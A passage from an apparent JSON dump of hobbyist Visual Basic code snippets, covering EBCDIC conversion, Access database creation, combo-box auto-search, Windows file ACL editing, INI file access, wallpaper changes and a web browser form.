&HDD, &HDE, &HDF, &HEA, &HEB, &HEC, &HED, &HEE, &HEF, &HFA, &HFB, &HFC, &HFD, &HFE, &HFF)\n bufferlen = Len(buffer)\n For i = 1 To bufferlen\n Mid$(buffer, i, 1) = Chr$(ascii(Asc(Mid$(buffer, i, 1))))\n Next\n ascii_to_ebcdic = buffer\nEnd Function\nFunction ebcdic_to_ascii(ByVal buffer As String) As String\n Dim ebcdic As Variant\n Dim i As Long, bufferlen As Long\n ebcdic = Array( _\n &H0, &H1, &H2, &H3, &H9C, &H9, &H86, &H7F, &H97, &H8D, &H8E, &HB, &HC, &HD, &HE, &HF, _\n &H10, &H11, &H12, &H13, &H9D, &H85, &H8, &H87, &H18, &H19, &H92, &H8F, &H1C, &H1D, &H1E, &H1F, _\n &H80, &H81, &H82, &H83, &H84, &HA, &H17, &H1B, &H88, &H89, &H8A, &H8B, &H8C, &H5, &H6, &H7, _\n &H90, &H91, &H16, &H93, &H94, &H95, &H96, &H4, &H98, &H99, &H9A, &H9B, &H14, &H15, &H9E, &H1A, _\n &H20, &HA0, &HA1, &HA2, &HA3, &HA4, &HA5, &HA6, &HA7, &HA8, &H5B, &H2E, &H3C, &H28, &H2B, &H21, _\n &H26, &HA9, &HAA, &HAB, &HAC, &HAD, &HAE, &HAF, &HB0, &HB1, &H5D, &H24, &H2A, &H29, &H3B, &H5E, _\n &H2D, &H2F, &HB2, &HB3, &HB4, &HB5, &HB6, &HB7, &HB8, &HB9, &H7C, &H2C, &H25, &H5F, &H3E, &H3F, _\n &HBA, &HBB, &HBC, &HBD, &HBE, &HBF, &HC0, &HC1, &HC2, &H60, &H3A, &H23, &H40, &H27, &H3D, &H22, _\n &HC3, &H61, &H62, &H63, &H64, &H65, &H66, &H67, &H68, &H69, &HC4, &HC5, &HC6, &HC7, &HC8, &HC9, _\n &HCA, &H6A, &H6B, &H6C, &H6D, &H6E, &H6F, &H70, &H71, &H72, &HCB, &HCC, &HCD, &HCE, &HCF, &HD0, _\n &HD1, &H7E, &H73, &H74, &H75, &H76, &H77, &H78, &H79, &H7A, &HD2, &HD3, &HD4, &HD5, &HD6, &HD7, _\n &HD8, &HD9, &HDA, &HDB, &HDC, &HDD, &HDE, &HDF, &HE0, &HE1, &HE2, &HE3, &HE4, &HE5, &HE6, &HE7, _\n &H7B, &H41, &H42, &H43, &H44, &H45, &H46, &H47, &H48, &H49, &HE8, &HE9, &HEA, &HEB, &HEC, &HED, _\n &H7D, &H4A, &H4B, &H4C, &H4D, &H4E, &H4F, &H50, &H51, &H52, &HEE, &HEF, &HF0, &HF1, &HF2, &HF3, _\n &H5C, &H9F, &H53, &H54, &H55, &H56, &H57, &H58, &H59, &H5A, &HF4, &HF5, &HF6, &HF7, &HF8, &HF9, _\n &H30, &H31, &H32, &H33, &H34, &H35, &H36, &H37, &H38, &H39, &HFA, &HFB, &HFC, &HFD, &HFE, &HFF)\n \n bufferlen = Len(buffer)\n For i = 1 To bufferlen\n Mid$(buffer, i, 1) = Chr$(ebcdic(Asc(Mid$(buffer, i, 1))))\n Next\n ebcdic_to_ascii = buffer\nEnd Function\n"},{"WorldId":1,"id":1253,"LineNumber":1,"line":"''\n'' PUT THIS BEHIND A COMMAND BUTTON TO TEST\n''\n' Declarations\nDim tdExample As TableDef\nDim fldForeName As Field\nDim fldSurname As Field\nDim fldDOB As Field\nDim fldFurtherDetails As Field\nDim dbDatabase As Database\nDim sNewDBPathAndName As String\n' Set the new database path and name in string (using time:seconds for some randomality\nsNewDBPathAndName = \"c:\\temp\\NewDB\" & Right$(Time, 2) & \".mdb\"\n' Create a new .MDB file (empty at creation point!)\nSet dbDatabase = CreateDatabase(sNewDBPathAndName, dbLangGeneral, dbEncrypt)\n' Create new TableDef (table called 'Example')\nSet tdExample = dbDatabase.CreateTableDef(\"Example\")\n' Add fields to tdfTitleDetail.\nSet fldForeName = tdExample.CreateField(\"Fore_Name\", dbText, 20)\nSet fldSurname = tdExample.CreateField(\"Surname\", dbText, 20)\nSet fldDOB = tdExample.CreateField(\"DOB\", dbDate)\nSet fldFurtherDetails = tdExample.CreateField(\"Further_Details\", dbMemo)\n' Append the field objects to the TableDef\ntdExample.Fields.Append fldForeName\ntdExample.Fields.Append fldSurname\ntdExample.Fields.Append fldDOB\ntdExample.Fields.Append fldFurtherDetails\n' Save TableDef definition by appending it to TableDefs collection.\ndbDatabase.TableDefs.Append tdExample\nMsgBox \"New .MDB Created - '\" & sNewDBPathAndName & \"'\", vbInformation\n' Now look for the new .MDB using File Manager!\n"},{"WorldId":1,"id":1267,"LineNumber":1,"line":"Option Explicit\n' This code demonstartes an auto-search combo box.\n' As the user types into the combo, the list is searched, and if a\n' partial match is made, then the remaining text is entered into the\n' Text portion of the combo, and selected so that any further\n' typing will automatically overwrite the Auto-search results.\n'\n' The IgnoreTextChange flag is used internally to tell the\n' Combo1_Changed event not to perform the Auto-search.\nDim IgnoreTextChange As Boolean\nPrivate Sub Combo1_Change()\n Dim i%\n Dim NewText$\n \n \n ' Check to see if a serch is required.\n If Not IgnoreTextChange And Combo1.ListCount > 0 Then\n ' Loop through the list searching for a partial match of\n ' the entered text.\n For i = 0 To Combo1.ListCount - 1\n NewText = Combo1.List(i)\n If InStr(1, NewText, Combo1.Text, 1) = 1 Then\n If Len(Combo1.Text) <> Len(NewText) Then\n ' Partial match found\n ' Avoid recursively entering this event\n IgnoreTextChange = True\n i = Len(Combo1.Text)\n ' Attach the full text from the list to what has\n ' already been entered. This technique preserves\n ' the case entered by the user.\n Combo1.Text = Combo1.Text & Mid$(NewText, i + 1)\n ' Select the text that is auto-entered\n Combo1.SelStart = i\n Combo1.SelLength = Len(Mid$(NewText, i + 1))\n Exit For\n End If\n End If\n Next\n Else\n ' The IgnoreTwextChange Flag is only effective for one\n ' Changed event.\n IgnoreTextChange = False\n End If\nEnd Sub\nPrivate Sub Combo1_GotFocus()\n ' Select existing text on entry to the combo box\n Combo1.SelStart = 0\n Combo1.SelLength = Len(Combo1.Text)\nEnd Sub\nPrivate Sub Combo1_KeyDown(KeyCode As Integer, Shift As Integer)\n ' If a user presses the \"Delete\" key, then the selected text\n ' is removed.\n If KeyCode = vbKeyDelete And Combo1.SelText <> \"\" Then\n ' Make sure that the text is not automatically re-entered\n ' as soon as it is deleted\n IgnoreTextChange = True\n Combo1.SelText = \"\"\n KeyCode = 0\n End If\nEnd Sub\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\n ' If a user presses the \"Backspace\" key, then the selected text\n ' is removed. Autosearch is not re-performed, as that would only\n ' put it straight back again.\n If KeyAscii = 8 Then\n IgnoreTextChange = True\n If Len(Combo1.SelText) Then\n Combo1.SelText = \"\"\n KeyAscii = 0\n End If\n End If\nEnd Sub\n"},{"WorldId":1,"id":1289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1280,"LineNumber":1,"line":"Function GetToken(ByVal strVal As String, intIndex As Integer, _\n\tstrDelimiter As String) As String\n'------------------------------------------------------------------------\n' Author : Troy DeMonbreun (vb@8x.com)\n'\n' Returns : [string] \"Token\" (section of data) from a list of\n' delimited string data\n'\n' Requires : [string] delimited data,\n' [integer] index of desired section,\n' [string] delimiter (1 or more chars)\n'\n' Examples : GetToken(\"steve@hotmail.com\", 2, \"@\") returns \"hotmail.com\"\n' GetToken(\"123-45-6789\", 2, \"-\") returns \"45\"\n' GetToken(\"first,middle,last\", 3, \",\") returns \"last\"\n'\n' Revised : 12/22/1998\n'------------------------------------------------------------------------\n\tDim strSubString() As String\n\tDim intIndex2 As Integer\n\tDim i As Integer\n\tDim intDelimitLen As Integer\n\tintIndex2 = 1\n\ti = 0\n\tintDelimitLen = Len(strDelimiter)\n\tDo While intIndex2 > 0\n \n\t\tReDim Preserve strSubString(i + 1)\n \n\t\tintIndex2 = InStr(1, strVal, strDelimiter)\n \n\t\tIf intIndex2 > 0 Then\n\t\t\tstrSubString(i) = Mid(strVal, 1, (intIndex2 - 1))\n\t\t\tstrVal = Mid(strVal, (intIndex2 + intDelimitLen), Len(strVal))\n\t\tElse\n\t\t\tstrSubString(i) = strVal\n\t\tEnd If\n \n\t\ti = i + 1\n \n\tLoop\n\tIf intIndex > (i + 1) Or intIndex < 1 Then\n\t\tGetToken = \"\"\n\tElse\n\t\tGetToken = strSubString(intIndex - 1)\n\tEnd If\nEnd Function"},{"WorldId":1,"id":7910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1333,"LineNumber":1,"line":"Sub ScreenToClipboard()\nConst VK_SNAPSHOT = &H2C\nCall keybd_event(VK_SNAPSHOT, 1, 0&, 0&)\nEnd Sub"},{"WorldId":1,"id":1321,"LineNumber":1,"line":"Attribute VB_Name = \"ModACL\"\nOption Explicit\n'for public function SetAccessRights\nEnum fNSR\n f_NEW_FULL 'Will remove the existing ACL and assign Full rights\n f_REVOKE 'Will revoke the specified trustee\n f_SET_CHANGE 'Will just set new Change rights\n f_SET_FULL 'Will just set new Full rights\nEnd Enum\n Const SECURITY_DESCRIPTOR_REVISION = (1)\n Const ACL_REVISION = (2)\n Const DACL_SECURITY_INFORMATION = 4&\n Const ERROR_SUCCESS = 0&\n Const SE_FILE_OBJECT = 1&\n \n Const SET_ACCESS = 2& 'NOT_USED_ACCESS = 0, GRANT_ACCESS, SET_ACCESS, DENY_ACCESS,\n Const REVOKE_ACCESS = 4& 'REVOKE_ACCESS, SET_AUDIT_SUCCESS, SET_AUDIT_FAILURE\n Private Type AclType\n AclRevision As Byte\n Sbz1 As Byte\n aclSize As Integer\n AceCount As Integer\n Sbz2 As Integer\n End Type\n Private Type AceType\n AceType As Byte\n AceFlags As Byte\n AceSize As Integer\n AceMask As Long\n Sid(99) As Byte\n End Type\n'The predefined ace types that go into the AceType field of an Ace header.\n Const ACCESS_ALLOWED_ACE_TYPE = &H0\n Const ACCESS_DENIED_ACE_TYPE = &H1\n Const SYSTEM_AUDIT_ACE_TYPE = &H2\n Const SYSTEM_ALARM_ACE_TYPE = &H3\n'The inherit flags that go into the AceFlags field of an Ace header.\n Const OBJECT_INHERIT_ACE = &H1\n Const CONTAINER_INHERIT_ACE = &H2\n Const NO_PROPAGATE_INHERIT_ACE = &H4\n Const INHERIT_ONLY_ACE = &H8\n Const VALID_INHERIT_FLAGS = &HF\n \nPrivate Declare Function FormatMessage Lib \"kernel32\" Alias \"FormatMessageA\" _\n (ByVal dwFlags As Long, ByVal lpSource As Long, ByVal dwMessageId As Long, _\n ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, _\n Arguments As Any) As Long\nDeclare Function LocalFree Lib \"kernel32\" (ByVal hMem As Long) As Long\n'Private Declare Function LookupAccountSid Lib \"advapi32.dll\" Alias _\n' \"LookupAccountSidA\" (ByVal system As String, pSid As Any, _\n' ByVal Account As String, ByRef AccSize As Long, ByVal Domain As String, _\n' ByRef domSize As Long, ByRef peUse As Long) As Boolean\nPrivate Declare Function LookupAccountName Lib \"advapi32.dll\" Alias _\n \"LookupAccountNameA\" (ByVal system As String, ByVal Account As String, _\n pSid As Any, ByRef sidSize As Long, ByVal Domain As String, _\n ByRef domSize As Long, ByRef peUse As Long) As Boolean\nPrivate Declare Function IsValidSid Lib \"advapi32.dll\" (pSid As Any) As Long\nPrivate Declare Function GetLengthSid Lib \"advapi32.dll\" (pSid As Any) As Long\nPrivate Declare Function GetLastError Lib \"kernel32.dll\" () As Long\n' pSD and pDACL always ByRef\nPrivate Declare Function GetFileSecurity Lib \"advapi32.dll\" Alias \"GetFileSecurityA\" (ByVal szFileName As String, ByVal reqtype As Long, pSD As Any, ByVal bufsiz As Long, bufneed As Long) As Long\nPrivate Declare Function SetFileSecurity Lib \"advapi32.dll\" Alias \"SetFileSecurityA\" (ByVal szFileName As String, ByVal reqtype As Long, pSD As Any) As Long\nPrivate Declare Function GetSecurityDescriptorDacl Lib \"advapi32.dll\" (pSD As Any, ByRef pDaclPres As Long, pDacl As Any, ByRef bDaclDefaulted As Long) As Long\nPrivate Declare Function SetSecurityDescriptorDacl Lib \"advapi32.dll\" (pSD As Any, ByVal pDaclPres As Long, pDacl As Any, ByVal bDaclDefaulted As Long) As Long\n' Declare Function GetAclInformation Lib \"advapi32.dll\" (pAcl As ACL, pAclInformation As Any, ByVal nAclInformationLength As Long, ByVal dwAclInformationClass As Integer) As Long\nPrivate Declare Function InitializeSecurityDescriptor Lib \"advapi32.dll\" (pSD As Any, ByVal dwRevision As Long) As Long\nPrivate Declare Function InitializeAcl Lib \"advapi32.dll\" (pAcl As Any, ByVal nAclLength As Long, ByVal dwAclRevision As Long) As Long\n'rivate Declare Function AddAccessAllowedAce Lib \"advapi32.dll\" (pAcl As Any, ByVal AceRev As Long, ByVal mask As Long, pSid As Any) As Long\n'rivate Declare Function AddAccessDeniedAce Lib \"advapi32.dll\" (pAcl As Any, ByVal AceRev As Long, ByVal mask As Long, pSid As Any) As Long\nPrivate Declare Function GetAce Lib \"advapi32.dll\" (pAcl As Any, ByVal dwAceIndex As Long, ppAce As Long) As Long\nPrivate Declare Function AddAce Lib \"advapi32.dll\" (pAcl As Any, ByVal dwAceRevision As Long, ByVal dwStartingAceIndex As Long, pAceList As Any, ByVal nAceListLength As Long) As Long\nPrivate Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" (pDest As Any, pSource As Any, ByVal ByteLen As Long)\n' *********************************************************************************************\n' *********************************************************************************************\n' *********************************************************************************************\nPublic Function SetAccessRights(sSrv As String, sFilename As String, _\n szAccount As String, fNewSetRev As fNSR) As Boolean\n Dim x as Long, i as Long, lRet As Long, long1 As Long\n Dim Sid(100) As Byte, SIS(100) As Byte\n Dim sisSize As Long, sidSize As Long, peUse As Long\n Dim sDom As String, domSize As Long\n Dim SecDsc() As Byte\n Dim pSD As Long, DACLparm1 As Long, DACLparm2 As Long\n Dim pDacl As Long\n Dim ACL As AclType\n Dim NewACL() As Byte\n Dim aclSize As Long, aclRev As Long\n Dim pAce As Long, numAce As Long\n Dim ACE As AceType\n Dim AceSize As Long, AccType As Long, AccMask As Long\n \n SetAccessRights = False\n On Error GoTo 0\n \n domSize = 25\n sDom = String(domSize, \" \") ' make vb alloc memory\n \n sisSize = 100 ' get sid of \"system\"\n If LookupAccountName(sSrv + vbNullChar, \"System\" + vbNullChar, SIS(0), sisSize, _\n sDom, domSize, peUse) = 0 Then DisplayError \"LookupAccountName - 1\", GetLastError(): Exit Function\n If IsValidSid(SIS(0)) = 0 Then DisplayError \"LookupAccountName - SIS\", GetLastError(): Exit Function\n \n sidSize = 100 ' get sid of szAccount\n If LookupAccountName(sSrv + vbNullChar, szAccount + vbNullChar, Sid(0), sidSize, _\n sDom, domSize, peUse) = 0 Then DisplayError \"LookupAccountName - 2\", GetLastError(): Exit Function\n If IsValidSid(Sid(0)) = 0 Then DisplayError \"LookupAccountName - SID\", GetLastError(): Exit Function\n sidSize = GetLengthSid(Sid(0))\n'1: ------------- get the D-ACL --------------------------\n SecDsc = String(2000, \" \")\n If GetFileSecurity(sFilename & vbNullChar, DACL_SECURITY_INFORMATION, _\n SecDsc(0), 4000, long1) = 0 Then DisplayError \"GetFileSecurity\", GetLastError(): Exit Function\n DACLparm1 = 0\n If GetSecurityDescriptorDacl(SecDsc(0), DACLparm1, pDacl, DACLparm2) = 0 Then DisplayError \"GetSecurityDescriptorDacl\", GetLastError(): Exit Function\n\t' pDacl is now a pointer to the DACL in SecDsc() \n If DACLparm1 > 0 Then\n CopyMemory ACL, ByVal pDacl, 8 'Now copy to read the contents of the acl\n aclRev = ACL.AclRevision\n aclSize = ACL.aclSize\n Else\n ACL.AceCount = 0\n aclRev = ACL_REVISION\n aclSize = 0\n End If\n'2: ------------- Create a new ACL --------------------------\n aclSize = aclSize + 200\n NewACL = String(aclSize/2, \" \") ' make vb alloc memory\n If InitializeAcl(NewACL(0), aclSize, aclRev) = 0 Then DisplayError \"InitializeAcl\", GetLastError(): Exit Function\n aclSize = 8\n'3: ------------- Copy the ACEs except our ones -------------\n For i = 0 To 99\n ACE.Sid(i) = 0\n Next i\n aclRev = ACL.AclRevision\n For x = 0 To ACL.AceCount - 1\n If GetAce(ByVal pDacl, x, pAce) = 0 Then Exit Function\n CopyMemory ACE, ByVal pAce, 8\n AceSize = ACE.AceSize\n CopyMemory ACE, ByVal pAce, AceSize\n long1 = 0\n If fNewSetRev = f_NEW_FULL Then 'when new, still copy 'system'\n If CompareSid(ACE.Sid, SIS) Then long1 = 1\n Else 'otherwise, copy all except szAccount\n If Not CompareSid(ACE.Sid, Sid) Then long1 = 1\n End If\n If long1 = 1 Then\n If AddAce(NewACL(0), aclRev, -1, ByVal pAce, AceSize) = 0 Then DisplayError \"AddAce - copy\", GetLastError(): Exit Function\n aclSize = aclSize + AceSize\n End If\n Next x\n'4: ------------- Put in our ACEs --------------------------\n If fNewSetRev <> f_REVOKE Then\n AceSize = 8 + sidSize\n ACE.AceType = ACCESS_ALLOWED_ACE_TYPE ' byte 0\n ACE.AceSize = AceSize ' byte 2+3, mask = 4-7\n ACE.AceMask = IIf(fNewSetRev = f_SET_CHANGE, &H1301BF, &H1F01FF) 'Change, Full\n CopyMemory ACE.Sid(0), Sid(0), sidSize\n \n ACE.AceFlags = INHERIT_ONLY_ACE Or OBJECT_INHERIT_ACE\n If AddAce(NewACL(0), aclRev, 0, ACE, AceSize) = 0 Then DisplayError \"AddAce - new1\", GetLastError(): Exit Function\n aclSize = aclSize + AceSize\n \n ACE.AceFlags = CONTAINER_INHERIT_ACE ' byte 1 - objectitself\n If AddAce(NewACL(0), aclRev, 0, ACE, AceSize) = 0 Then DisplayError \"AddAce - new2\", GetLastError(): Exit Function\n aclSize = aclSize + AceSize\n End If\n'5: ------------- Write back the D-ACL----------------------\n CopyMemory NewACL(2), aclSize, 2\n If InitializeSecurityDescriptor(SecDsc(0), SECURITY_DESCRIPTOR_REVISION) = 0 Then _\n\t\t\tDisplayError \"InitializeSecurityDescriptor\", GetLastError(): Exit Function\n If SetSecurityDescriptorDacl(SecDsc(0), DACLparm1, NewACL(0), DACLparm2) = 0 Then _\n\t\t\tDisplayError \"SetSecurityDescriptorDacl\", GetLastError(): Exit Function\n If SetFileSecurity(sFilename & vbNullChar, DACL_SECURITY_INFORMATION, SecDsc(0)) = 0 Then _\n\t\t\tDisplayError \"SetFileSecurity\", GetLastError(): Exit Function\n SetAccessRights = True\nEnd Function\nPrivate Sub DisplayError(sApi As String, lCode As Long)\n Dim sMsg As String\n Dim sRtrnCode As String\n Dim lFlags As Long\n Dim lRet As Long\n Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000\n sRtrnCode = Space$(256)\n lFlags = FORMAT_MESSAGE_FROM_SYSTEM\n lRet = FormatMessage(lFlags, 0&, lCode, 0&, sRtrnCode, 256&, 0&)\n If lRet = 0 Then MsgBox Err.LastDllError\n sMsg = \"Error: \" & sApi & vbCrLf\n sMsg = sMsg & \"Code: \" & lCode & vbCrLf\n sMsg = sMsg & \"Desc: \" & sRtrnCode\n MsgBox sMsg\nEnd Sub\nPrivate Function CompareSid(arr1() As Byte, Arr2() As Byte) As Boolean\nDim i As Long, len1 As Long, len2 As Long\n On Error GoTo 0\n CompareSid = False\n \n If IsValidSid(arr1(0)) = 0 Then Exit Function\n len1 = GetLengthSid(arr1(0))\n If IsValidSid(Arr2(0)) = 0 Then Exit Function\n len2 = GetLengthSid(Arr2(0))\n If len1 <> len2 Then Exit Function\n For i = 0 To len1 - 1\n If arr1(i) <> Arr2(i) Then Exit For\n Next i\n If i = len1 Then CompareSid = True\nEnd Function\n"},{"WorldId":1,"id":7570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6742,"LineNumber":1,"line":"'This function changes the style based on the flag\nPublic Sub SetNumber(NumberText As TextBox, Flag As Boolean)\nDim curstyle As Long\nDim newstyle As Long\n'This Function uses 2 API functions to set the style of\n'a textbox so it will only accept numbers CShell\ncurstyle = GetWindowLong(NumberText.hwnd, GWL_STYLE)\nIf Flag Then\n curstyle = curstyle Or ES_NUMBER\nElse\n curstyle = curstyle And (Not ES_NUMBER)\nEnd If\nnewstyle = SetWindowLong(NumberText.hwnd, GWL_STYLE, curstyle)\nNumberText.Refresh\nEnd Sub"},{"WorldId":1,"id":1363,"LineNumber":1,"line":"'* Sorry for stealing code, but I couldn't help it when I saw the garbage\n'* routine called BMTEncrypt.\nFunction BTMEncrypt(text, types)\n For god = 1 To Len(text)\n If types = 0 Then\n Current$ = Asc(Mid(text, god, 1)) - god\n Else\n Current$ = Asc(Mid(text, god, 1)) + god\n End If\n Process$ = Process$ & Chr(Current$)\n Next god\n BTMEncrypt = Process$\nEnd Function\n"},{"WorldId":1,"id":1776,"LineNumber":1,"line":"Sub Form_Load()\nDim MyDate as Date\nMyDate = \"1/1/00\" 'Or\n'MyDate = \"1/1/29\" 'Returns 1/1/2029\n'MyDate = \"1/1/30\" 'Returns 1/1/1930\n'MyDate = \"2/29/00\" 'The Leap Year Date (Usually causes the most probs) \nMsgBox Format(MyDate, \"mm/dd/yyyy\")\nEnd Sub"},{"WorldId":1,"id":1377,"LineNumber":1,"line":"Create a form with a dbgrid(DBGrid1), and a listbox(List1). Populate the listbox with the choices you need the user to select from. Set the visible property on the listbox to false. Set the button property on one of the DBGrid columns to true. This example is using column 2. If you want to limit the input to the DBGrid to just the items in the listbox, set the enabled property to false, otherwise, users can type in their own data.\nPrivate Sub DBGrid1_ButtonClick(ByVal ColIndex As Integer)\n Dim intTop As Integer 'used for positioning the list box for display.\n intColIdx = ColIndex 'this is the column of the dbgrid you are in\n If blnListShow = False Then 'if the list is not showing then...\n blnListShow = True\n List1.Left = DBGrid1.Columns(ColIndex).Left + 250 'you may have to play \n 'with this a little to get it \n 'positioned just right.\n intTop = DBGrid1.Top + (DBGrid1.RowHeight * (DBGrid1.Row + 2)) \n List1.Top = intTop 'position the list box just below the row you are in\n List1.Width = DBGrid1.Columns(ColIndex).Width + 15 'setting the width of\n 'the listbox to display \n 'within the column\n ' width\n List1.Visible = True 'show the listbox\n List1.SetFocus\n \n Else 'if the list is shown, hide it\n blnListShow = False\n List1.Visible = False\n End If\nEnd Sub\n\nPrivate Sub DBGrid1_KeyDown(KeyCode As Integer, Shift As Integer)\n 'This is to display the list when the user presses the down arrow key.\n 'This makes it easier to make a selection during data entry. The user\n 'doesn't have to go to the mouse to click the button.\n If DBGrid1.Col = 2 Then 'change the number here to your appropriate column \n 'that has the button, other wise you will display the\n ' listbox on the wrong column\n If KeyCode = vbKeyDown Then\n Call DBGrid1_ButtonClick(DBGrid1.Col)\n End If\n End If\nEnd Sub\n\nPrivate Sub Form_Click()\n 'hide the listbox if the user clicks elsewhere\n List1.Visible = False 'hide the list\nEnd Sub\n\nPrivate Sub Form_Load()\n blnListShow = False 'initialize the variable\nEnd Sub\n\nPrivate Sub Form_Resize()\n 'hide the list if they resize the form\n List1.Visible = False 'hide the list\nEnd Sub\n\nPrivate Sub List1_Click()\n 'insert the selected list item into the dbgrid, and hide the listbox\n If intKeyCode <> vbKeyUp And intKeyCode <> vbKeyDown Then\n DBGrid1.Columns(intColIdx).Text = List1.Text 'set the value of the dbgrid\n List1.Visible = False 'hide the list\n End If\nEnd Sub\n\nPrivate Sub List1_KeyDown(KeyCode As Integer, Shift As Integer)\n 'handle the keyboard events\n intKeyCode = KeyCode\n If intKeyCode = vbKeyReturn Then\n DBGrid1.Columns(intColIdx).Text = List1.Text 'set the value of the dbgrid\n List1.Visible = False 'hide the list\n Else\n If intKeyCode = vbKeyEscape Then\n List1.Visible = False\n End If\n End If \nEnd Sub\n\nPrivate Sub List1_LostFocus()\n'hide the list if you lose focus\n blnListShow = False\n List1.Visible = False\nEnd Sub\n"},{"WorldId":1,"id":5810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1382,"LineNumber":1,"line":"Function mfncGetFromIni(strSectionHeader As String, strVariableName As String, strFileName As String) As String\n '**********************************************************************************************\n ' DESCRIPTION:Reads from an *.INI file strFileName (full path & file name)\n ' RETURNS:The string stored in [strSectionHeader], line beginning\n ' strVariableName=\n'**********************************************************************************************\n ' Initialise variable\n Dim strReturn As String\n ' Blank the return string\n strReturn = String(255, Chr(0))\n 'Get requested information, trimming the returned\n ' string\n mfncGetFromIni = Left$(strReturn, GetPrivateProfileString(strSectionHeader, ByVal strVariableName, \"\", strReturn, Len(strReturn), strFileName))\nEnd Function\nFunction mfncWriteIni(strSectionHeader As String, strVariableName As String, strValue As String, strFileName As String) As Integer\n '*****************************************************************************************************\n ' DESCRIPTION:Writes to an *.INI file called strFileName (full path & file name)\n ' RETURNS:Integer indicating failure (0) or success (other) to write\n '*****************************************************************************************************\n mfncWriteIni = WritePrivateProfileString(strSectionHeader, strVariableName, strValue, strFileName)\nEnd Function"},{"WorldId":1,"id":3072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3366,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim X As Long\n X = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0&, \"(None)\", _\n\tSPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE)\n MsgBox \"Wallpaper was removed\"\nEnd Sub\nPrivate Sub Command2_Click()\n Dim FileName As String\n Dim X As Long\n ' Windows NT\n FileName = \"c:\\winnt\\Coffee Bean.bmp\"\n ' Windows 95 users, uncomment this line, you can delete the previous line\n' FileName = \"c:\\windows\\Coffee Bean.bmp\"\n\n X = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0&, FileName, _ \n\tSPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE)\n MsgBox \"Wallpaper was changed\"\nEnd Sub"},{"WorldId":1,"id":1417,"LineNumber":1,"line":"*** paste into webfrm.frm in notepad after this line ***\nVERSION 5.00\nObject = \"{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}#1.1#0\"; \"SHDOCVW.DLL\"\nBegin VB.Form Webfrm \n BackColor = &H00000000&\n BorderStyle = 3 'Fixed Dialog\n Caption = \"Web Browser\"\n ClientHeight = 5295\n ClientLeft = 45\n ClientTop = 330\n ClientWidth = 7455\n BeginProperty Font \n Name = \"Tahoma\"\n Size = 8.25\n Charset = 0\n Weight = 400\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 5295\n ScaleWidth = 7455\n ShowInTaskbar = 0 'False\n StartUpPosition = 3 'Windows Default\n Begin VB.ListBox lstFavs \n Height = 255\n Left = 3960\n TabIndex = 11\n Top = 480\n Visible = 0 'False\n Width = 1335\n End\n Begin VB.CommandButton cmdAdd \n BackColor = &H80000005&\n Caption = \"Add to Favorites\"\n Height = 255\n Left = 6000\n Style = 1 'Graphical\n TabIndex = 10\n Top = 840\n Width = 1335\n End\n Begin VB.CommandButton cmdFav \n BackColor = &H80000005&\n Caption = \"Favorite\"\n Height = 255\n Left = 4320\n Style = 1 'Graphical\n TabIndex = 9\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdSearch \n BackColor = &H80000005&\n Caption = \"Search\"\n Height = 255\n Left = 5160\n Style = 1 'Graphical\n TabIndex = 8\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdForward \n BackColor = &H80000005&\n Caption = \"Forward\"\n Height = 255\n Left = 960\n Style = 1 'Graphical\n TabIndex = 7\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdHome \n BackColor = &H80000005&\n Caption = \"Home\"\n Height = 255\n Left = 3480\n Style = 1 'Graphical\n TabIndex = 6\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdReload \n BackColor = &H80000005&\n Caption = \"Reload\"\n Height = 255\n Left = 2640\n Style = 1 'Graphical\n TabIndex = 5\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdStop \n BackColor = &H80000005&\n Caption = \"Stop\"\n Height = 255\n Left = 1800\n Style = 1 'Graphical\n TabIndex = 4\n Top = 120\n Width = 735\n End\n Begin VB.CommandButton cmdBack \n BackColor = &H80000005&\n Caption = \"Back\"\n Height = 255\n Left = 120\n Style = 1 'Graphical\n TabIndex = 3\n Top = 120\n Width = 735\n End\n Begin VB.ComboBox txtUrl \n Height = 315\n Left = 720\n Style = 1 'Simple Combo\n TabIndex = 2\n Text = \"C:\\\"\n Top = 840\n Width = 5175\n End\n Begin SHDocVwCtl.WebBrowser WebBrowser1 \n Height = 3975\n Left = 120\n TabIndex = 0\n Top = 1200\n Width = 7215\n ExtentX = 12726\n ExtentY = 7011\n ViewMode = 1\n Offline = 0\n Silent = 0\n RegisterAsBrowser= 0\n RegisterAsDropTarget= 1\n AutoArrange = -1 'True\n NoClientEdge = 0 'False\n AlignLeft = 0 'False\n ViewID = \"{0057D0E0-3573-11CF-AE69-08002B2E1262}\"\n Location = \"\"\n End\n Begin VB.Label Label1 \n BackColor = &H00000000&\n Caption = \"Go To:\"\n ForeColor = &H80000005&\n Height = 255\n Left = 120\n TabIndex = 1\n Top = 840\n Width = 615\n End\nEnd\nAttribute VB_Name = \"Webfrm\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nDim FN As Integer\nPrivate Sub cmdAdd_Click()\nFN = FreeFile\nOpen \"c:\\favs.txt\" For 